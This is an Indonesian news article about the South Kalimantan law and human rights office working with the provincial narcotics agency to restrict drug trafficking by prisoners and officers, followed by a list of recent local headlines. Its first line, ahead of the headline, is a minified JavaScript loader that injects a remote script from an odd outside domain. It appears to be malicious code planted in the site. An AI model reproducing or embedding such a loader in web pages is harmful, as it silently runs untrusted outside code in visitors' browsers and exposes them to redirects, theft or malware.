(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gandeng BNN Kalsel, Persempit Ruang Gerak Napi dan Tahanan Narkoba


BANJARMASIN, Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) Kalsel terus memberantas peredaran gelap dan penyalahgunaan narkoba di seluruh Unit Pelaksana Teknis (UPT) Pemasyarakatan se-Kalsel. Salah satunya dengan menggandeng Badan Narkotika Nasional Provinsi (BNNP) Kalsel memberikan informasi napi mapun tahanan yang terindikasi masih terlibat jaringan Narkoba, Selasa (26/2).

Sehubungan pelaksanaan join informasi terkait keberhasilan dalam pemberantasan narkoba di Lapas/Rutan, Kepala Bidang Kamkesawat dan Lolabasan Samsul Arifin bersama Kepala Bidang Binbimpastasnak dan Infokom Kusbiyantoro mengunjungi Kantor BNNP Kalsel.

Kepala BNNP Kalsel Kasi intelijen Muhammad Yusuf mendukung langkah-langkah dalam penanganan pemberantasan narkoba di Lapas/Rutan di wilayah Kalsel

Kepala Bidang Kamkesawat dan Lolabasan, Samsul Arifin menyampaikan langkah-langkah yang telah dilakukan dalam penanganan pemberantasan narkoba di Lapas/Rutan, diantaranya permohonan informasi apakah ada napi/tahanan yang terindikasi masih melakukan transaksi atau terlibat peredaran narkoba di dalam Lapas/Rutan. Selanjutnya akan direkomendasikan ke Dirjen PAS agar penempatannya di Lapas super maximum security.

“Kita juga mengajukan permohonan informasi tentang terindikasinya keterlibatan oknum petugas Lapas dan Rutan dalam penyalahgunaan maupun peredaran gelap narkoba,” ujarnya.

Kemenkuman Kalsel menyampaikan eksistensi wartelsuspas di beberapa Lapas/Rutan yang masih menggunakan SIM selular, dimana nomor-nomor tersebut akan dilaporkan ke BNN Kabupaten/Kota. Terakhir yaitu apabila ada penangkapan napi/tahanan di dalam Lapas/Rutan terlebih dahulu berkoordinasi dengan Kadivpas atau Kalapas Karutan setempat. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

1 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

3 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

17 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

17 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

18 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

22 jam ago

This website uses cookies.